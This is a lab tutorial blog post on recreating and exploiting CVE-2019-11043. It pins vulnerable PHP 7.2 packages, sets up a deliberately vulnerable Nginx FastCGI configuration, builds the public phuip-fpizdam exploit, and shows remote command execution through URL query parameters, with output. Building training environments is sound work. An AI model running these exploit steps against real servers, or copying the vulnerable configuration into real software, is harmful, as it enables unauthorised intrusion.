Recently, I tried to build a drill environment for training purpose. However, building an old vulnerability environment is not easy since most of the software repositories have removed vulnerable version package.

This article will demonstrate how to re-create the CVE-2019-11043 environment and exploit it.



What is CVE-2019-11043

It is a remote code execution (RCE) vulnerability that impacts the PHP-FPM (FastCGI Process Manager) module, specifically when using the NGINX web server with a specific configuration. Attackers can exploit this vulnerability to execute arbitrary code on the affected server, potentially compromising the system.

It affects the following versions of PHP:

  • PHP 7.1.x before 7.1.33

  • PHP 7.2.x before 7.2.24

  • PHP 7.3.x before 7.3.11

Re-create the vulnerable PHP environment

  1. Install Ubuntu 18.04

  2. Install Nginx

    1. sudo apt install nginx
  3. Install vulnerable PHP

    1. I was stuck here for a long time since I couldn't find the vulnerable version PHP from the latest Ubuntu repositories and installing it from the source code failed several times.
      After a few days test, finally I found the Ubuntu 18.04 official repository provides a vulnerable version PHP, and you have to manually specify the version to install.

    2. View what PHP versions are provided by current repository

      1. sudo apt policy php7.2-fpm
    3. Install the specific version manually

      1. sudo apt install php7.2-common=7.2.3-1ubuntu1
        sudo apt install php7.2-json=7.2.3-1ubuntu1
        sudo apt install php7.2-opcache=7.2.3-1ubuntu1
        sudo apt install php7.2-readline=7.2.3-1ubuntu1
        sudo apt install php7.2-cli=7.2.3-1ubuntu1
        sudo apt install php7.2-fpm=7.2.3-1ubuntu1
  4. Setup MariaDB

    1. Install the MariaDB

      1. sudo apt install mariadb-server
    2. Create new database and import the dummy data. The dummy data can be created by online services, like https://www.mockaroo.com/

      1. sudo mysql -u root -p
        CREATE DATABASE newdb;
        sudo mysql -u root -p newdb < data.sq
  5. Create Nginx website profile

    1. This vulnerability only affected by the specific configuration

      1. # Location: /etc/nginx/sites-enabled/default
        server {
                listen 80 default_server;
                root /var/www/html;
                # Add index.php to the list if you are using PHP
                index index.html index.php;
                server_name _;
                location / {
                    # First attempt to serve request as file, then
                    # as directory, then fall back to displaying a 404.
                    try_files $uri $uri/ =404;
                }
                # pass PHP scripts to FastCGI server
                #
                location ~ [^/].php(/|$) {include fastcgi.conf;# regex to split $uri to $fastcgi_script_name and $fastcgi_path
                fastcgi_split_path_info ^(.+.php)(/.+)$;
                # Check that the PHP script exists before passing it#try_files $fastcgi_script_name =404;# Bypass the fact that try_files resets $fastcgi_path_info
                # see: http://trac.nginx.org/nginx/ticket/321
                set $path_info $fastcgi_path_info;
                fastcgi_param PATH_INFO $path_info;
                fastcgi_index index.php;
                fastcgi_pass unix:/var/run/php/php7.2-fpm.sock;
               }
        }
  6. Create a test php page

    1. Any php page is vulnerable. Here we just simply create a hellow world page

      1. echo "<?php echo '<p>Hello World</p>'; ?> " | sudo tee /var/www/html/index.php
  7. Test the web service

    1. Run below curl command

      1. curl http://x.x.x.x/index.php
    2. If get below returns, it means the web and PHP services are running properly

      1. <p>Hello World</p> meaning service is ready

Exploit the vulnerability

  1. Prepare exploitool

    1. Install Go language

      1. apt install golang
    2. Build the exploitation tool

      1. git clone https://github.com/neex/phuip-fpizdam.git
        cd phuip-fpizdam
        go build
  2. Start to exploit

    1. Run below command to start the exploit, x.x.x.x is the target website IP or domain

      1. ./phuip-fpizdam http://x.x.x.x/index.php
    2. If get below returns, it means exploitation successful

      1. 2023/04/24 10:38:03 Base status code is 200
        2023/04/24 10:38:06 Status code 502 for qsl=1765, adding as a candidate
        2023/04/24 10:38:06 The target is probably vulnerable. Possible QSLs: [1755 1760 1765]
        2023/04/24 10:38:09 Attack params found: --qsl 1755 --pisos 230 --skip-detect
        2023/04/24 10:38:09 Trying to set "session.auto_start=0"...
        2023/04/24 10:38:09 Detect() returned attack params: --qsl 1755 --pisos 230 --skip-detect <-- REMEMBER THIS
        2023/04/24 10:38:09 Performing attack using php.ini settings...
        2023/04/24 10:38:09 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
        2023/04/24 10:38:09 Trying to cleanup /tmp/a...
        2023/04/24 10:38:09 Done!
  3. Run the Shell command

    1. Use curl to test remote execution. Now we are able to run "id" command on remote system

      1. curl http://x.x.x.x/index.php?a=id
        uid=33(www-data) gid=33(www-data) groups=33(www-data)
        <p>Hello World</p>
    2. Check the current path

      1. curl http://x.x.x.x/index.php?a=pwd
        /var/www/html
        <p>Hello World</p>

Noted: after successfully exploits CVE-2019-11043, they might need to run the desired command multiple times to get the expected results. This is because there may be multiple PHP-FPM worker processes running on the server, and only one of these processes is exploited at a time. To ensure the command reaches the exploited process, you have to send the command multiple times.